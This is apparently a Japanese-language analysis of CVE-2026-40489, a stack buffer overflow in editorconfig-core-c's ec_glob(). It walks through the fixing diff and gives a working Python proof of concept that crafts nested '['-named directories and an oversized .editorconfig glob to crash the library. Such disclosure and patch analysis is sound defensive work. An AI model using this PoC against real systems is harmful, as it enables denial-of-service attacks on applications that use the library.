CVEに関するNISTの説明:

editorconfig-core-c is an EditorConfig core library for use by plugins supporting EditorConfig parsing. Versions up to 
and including 0.12.10 have a stack-based buffer overflow in ec_glob() that allows an attacker to crash any application 
using libeditorconfig by providing a specially crafted directory structure and .editorconfig file. This is an incomplete 
fix for CVE-2023-0341. The pcre_str buffer was protected in 0.12.6 but the adjacent l_pattern[8194] stack buffer received 
no equivalent protection. On Ubuntu 24.04, FORTIFY_SOURCE converts the overflow to SIGABRT (DoS). Version 0.12.11 contains 
an updated fix.

clone both versions:

git clone https://github.com/editorconfig/editorconfig-core-c.git
cd editorconfig-core-c

# vulnerable build (parent of the fix)
git worktree add ../ec-vuln b4724e4

# patched build (the CVE-2026-40489 fix)
git worktree add ../ec-fixed 5159be8

差分を取ります:

git -C editorconfig-core-c diff b4724e4 5159be8 -- src/lib/ec_glob.c

差分:

diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 18f98c1..8b1613f 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -96,8 +96,12 @@ int ec_glob(const char *pattern, const char *string)
     _Bool                     are_braces_paired = 1;
     UT_array *                nums;     /* number ranges */
     int                       ret = 0;
+    size_t                    pattern_len = strlen(pattern);

-    strcpy(l_pattern, pattern);
+    /* Reject patterns that would overflow l_pattern in the copy below. */
+    if (pattern_len >= sizeof(l_pattern))
+        return -1;
+    memcpy(l_pattern, pattern, pattern_len + 1);
     p_pcre = pcre_str + 1;
     pcre_str_end = pcre_str + 2 * PATTERN_MAX;

古いコードは1行でした:

strcpy(l_pattern, pattern);

null 終端文字に当たるまでバイトをコピーするだけで、コピー先のサイズがどれだけ大きいかは気にしません。pattern が 8194 バイト（2 * PATTERN_MAX）より長い場合、l_pattern の終端を越えてスタック上に書き込みます。

修正は 3 つのことを行います：

まず計測する strlen(pattern) で、何かをコピーする前に長さを取得します
境界をチェックする長さがバッファサイズ以上であれば、コピーせずに -1 で処理を中断します。> ではなく >= であることが重要です。null 終端文字の分の領域も必要だからです。
strcpy の代わりに memcpy を使う長さはすでに分かっているので、文字列を再度走査する理由はありません。memcpy はちょうど pattern_len + 1 バイトをコピーします（+1 は null 終端文字を含むためです）。

バイナリをビルドして、動作することを確認します：

rm -rf build
mkdir build && cd build
cmake .. -DBUILD_SHARED_LIBS=OFF && make

PoC:

import os
import subprocess
import shutil

base = "/tmp/dummy-config"
nested = base
while len(nested) < 2100:
    nested = os.path.join(nested, "[" * 200)

test_file = os.path.join(nested, "test.txt")
config_file = os.path.join(nested, ".editorconfig")

binary_path = "/tmp/editorconfig"

if os.path.exists(base):
    shutil.rmtree(base)

os.makedirs(nested, exist_ok=True)
open(test_file, 'w').close()

# ~2100 char path of '[' escapes to ~4200 + 4000 char glob = ~8200 > 8194
glob_pattern = "A" * 4000

with open(config_file, 'w') as f:
    f.write("root = true\n\n")
    f.write(f"[{glob_pattern}]\n")
    f.write("indent_size = 2\n")

res = subprocess.run([binary_path, test_file], capture_output=True, text=True)

if res.returncode == -6:
    print(f"[+] vulnerable sigabrt (return code: {res.returncode})")
elif res.returncode < 0:
    print(f"[+] crashed signal {-res.returncode} (return code: {res.returncode})")
else:
    print(f"[-] not vulnerable (return code: {res.returncode})")

バイナリは .txt が置かれているフォルダ内の .editorconfig を探し、そこから glob パターンを読み取ります。

editorconfig /tmp/dummy-config/[[[[[.../test.txt を実行すると、バイナリはファイル名を .editorconfig の glob パターンと照合する必要があり、そのために /tmp/dummy-config/\[\[\[\[.../**/AAAA... のような完全なパターンを構築します。完全なファイルパスと照合できるよう、glob の前にディレクトリパスを付加します。

[ は glob 構文では特別な意味を持ちます（[a-z] のような文字クラスです）。このディレクトリ名には文字通り [ が含まれており、glob として意図されたものではありません。そこでコードはそれぞれをバックスラッシュでエスケープします: [ → \[。これは「glob ではなくリテラルの [」を意味します。editorconfig.c はこれを自動的に行います。.editorconfig ファイルへのパスを読み取る際、すべての文字をループし、glob の特殊文字が見つかればその前に \ を挿入します。これはパスが ec_glob() に到達する前に行われます。

パス内のすべての [ が 1 文字ずつ増えます。2100 文字が約 4200 文字になります。さらに 4000 文字の glob を加えたこの文字列が ec_glob() に渡され、そこで strcpy(l_pattern, pattern) が 8194 バイトのバッファに対して実行されます。8203 > 8194 であるため、バッファを超えて書き込みが行われます。

FORTIFY_SOURCE を有効にした現代の Linux では、ランタイムが上書きを検出し、SIGABRT（シグナル 6）でプロセスを強制終了します。Python はこれをリターンコード -6 として認識し、リターンコード -6 は脆弱であることを意味し、0 または 1 = 修正済み（修正ではコピー前に長さチェックを追加し、長すぎる場合は -1 を返す）です

CVE-2026-40489

人気